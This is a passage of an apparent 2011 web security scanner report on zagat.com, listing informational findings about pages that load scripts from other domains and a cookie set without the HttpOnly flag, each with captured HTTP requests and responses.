Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
X-Varnish: 782411073 782366840
Vary: Cookie
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: HIT
Content-Type: text/html; charset=utf-8
Date: Wed, 19 Oct 2011 00:58:27 GMT
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Pragma: no-cache
Via: 1.1 varnish
Connection: keep-alive
Last-Modified: Wed, 19 Oct 2011 00:00:46 +0000
X-Powered-By: PHP/5.3.8
X-ESI: 1
Age: 3461
Content-Length: 22591

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.2. http://www.zagat.com/c/stowe-vt  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /c/stowe-vt

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /c/stowe-vt HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/locations/browse?l=563
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; zLAP=%2Flocations; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.6.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web03.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 00:59:51 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 33008
Date: Wed, 19 Oct 2011 00:59:54 GMT
X-Varnish: 483496831 483496783
Age: 1
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.3. http://www.zagat.com/img/core/arrow_white_r_sm.gif  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /img/core/arrow_white_r_sm.gif

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /img/core/arrow_white_r_sm.gif HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://zagatsurvey.custhelp.com/cgi-bin/zagatsurvey.cfg/php/enduser/std_alp.php?p_sid=_hVQyVGk
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __qseg=Q_D; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.16.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web02.zagat.com
X-Varnish: 483500189
Vary: Cookie
Vary: Accept-Encoding
X-Cache: MISS
Content-Type: text/html; charset=utf-8
Date: Wed, 19 Oct 2011 01:03:17 GMT
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Via: 1.1 varnish
Connection: keep-alive
Last-Modified: Wed, 19 Oct 2011 01:03:17 +0000
X-Powered-By: PHP/5.3.8
Age: 0
Content-Length: 21467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.4. http://www.zagat.com/img/core/help/logo_zagat.gif  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /img/core/help/logo_zagat.gif

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /img/core/help/logo_zagat.gif HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://zagatsurvey.custhelp.com/cgi-bin/zagatsurvey.cfg/php/enduser/std_alp.php?p_sid=_hVQyVGk
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __qseg=Q_D; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.16.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
X-Varnish: 483500193
Vary: Cookie
Vary: Accept-Encoding
X-Cache: MISS
Content-Type: text/html; charset=utf-8
Date: Wed, 19 Oct 2011 01:03:18 GMT
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Via: 1.1 varnish
Connection: keep-alive
Last-Modified: Wed, 19 Oct 2011 01:03:17 +0000
X-Powered-By: PHP/5.3.8
Age: 0
Content-Length: 21467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.5. http://www.zagat.com/locations  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /locations

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /locations HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmx=62981284.; __utmxx=62981284.; __qca=P0-1124495082-1318985956938; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.2.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web02.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 00:17:37 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 24390
Date: Wed, 19 Oct 2011 00:58:40 GMT
X-Varnish: 782411222 782379071
Age: 2463
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.6. http://www.zagat.com/locations/browse  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /locations/browse

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /locations/browse?l=563 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/locations
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; zLAP=%2F; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.4.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 00:59:32 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 20098
Date: Wed, 19 Oct 2011 00:59:32 GMT
X-Varnish: 483496464
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.7. http://www.zagat.com/mobile  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /mobile

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /mobile HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0#/?where%5Bname%5D=bellevue%2C+wa&s=open&yp=1&where%5Blat%5D=47.610377&where%5Blon%5D=-122.2006786&where%5Bradius%5D=1.6&where%5Blocale%5D=Seattle&pp=10&text=sushi&r%5B%5D=4740&o%5Bd%5D=fri&o%5Bh%5D=20
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.12.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web03.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:03:02 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 25750
Date: Wed, 19 Oct 2011 01:03:03 GMT
X-Varnish: 782415376
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.8. http://www.zagat.com/r/seastar-restaurant-raw-bar-bellevue  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /r/seastar-restaurant-raw-bar-bellevue

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /r/seastar-restaurant-raw-bar-bellevue HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.zagat.com/search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.12.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web03.zagat.com
X-Varnish: 483498961 483498587
Vary: Cookie
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: HIT
Content-Type: text/html; charset=utf-8
Date: Wed, 19 Oct 2011 01:02:12 GMT
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Via: 1.1 varnish
Connection: keep-alive
Last-Modified: Wed, 19 Oct 2011 01:01:45 +0000
X-Powered-By: PHP/5.3.8
X-ESI: 1
Age: 25
Content-Length: 53940

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.9. http://www.zagat.com/search/map  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:02:05 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 50887
Date: Wed, 19 Oct 2011 01:02:06 GMT
X-Varnish: 782414203
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.10. http://www.zagat.com/shop  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /shop

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /shop HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0#/?where%5Bname%5D=bellevue%2C+wa&s=open&yp=1&where%5Blat%5D=47.610377&where%5Blon%5D=-122.2006786&where%5Bradius%5D=1.6&where%5Blocale%5D=Seattle&pp=10&text=sushi&r%5B%5D=4740&o%5Bd%5D=fri&o%5Bh%5D=20
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __qseg=Q_D; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.14.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:03:06 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 28220
Date: Wed, 19 Oct 2011 01:03:08 GMT
X-Varnish: 483499995 483499952
Age: 1
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.11. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=728x90&fmzone=4476&fmsection=rdre&custom_kvs=user_type%3Danon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/user/2697862/reviews
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 661
Date: Wed, 19 Oct 2011 01:00:12 GMT
X-Varnish: 483497098
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "rdr
...[SNIP]...
<!-- FM Tracking Pixel -->
<script type='text/javascript' src='http://static.fmpub.net/site/zagat'></script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://static.fmpub.net/zone/4476'></script>
...[SNIP]...

4.12. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=962x60&fmzone=4477&fmsection=homepage&custom_kvs=user_type%3Danon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 665
Date: Wed, 19 Oct 2011 01:00:03 GMT
X-Varnish: 782412397 782411861
Age: 39
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "hom
...[SNIP]...
<!-- FM Tracking Pixel -->
<script type='text/javascript' src='http://static.fmpub.net/site/zagat'></script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://static.fmpub.net/zone/4477'></script>
...[SNIP]...

4.13. http://www.zagat.com/user/2697862/reviews  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /user/2697862/reviews

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /user/2697862/reviews HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web03.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:00:04 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 31615
Date: Wed, 19 Oct 2011 01:00:06 GMT
X-Varnish: 782412445 782412408
Age: 1
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /locations/set

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

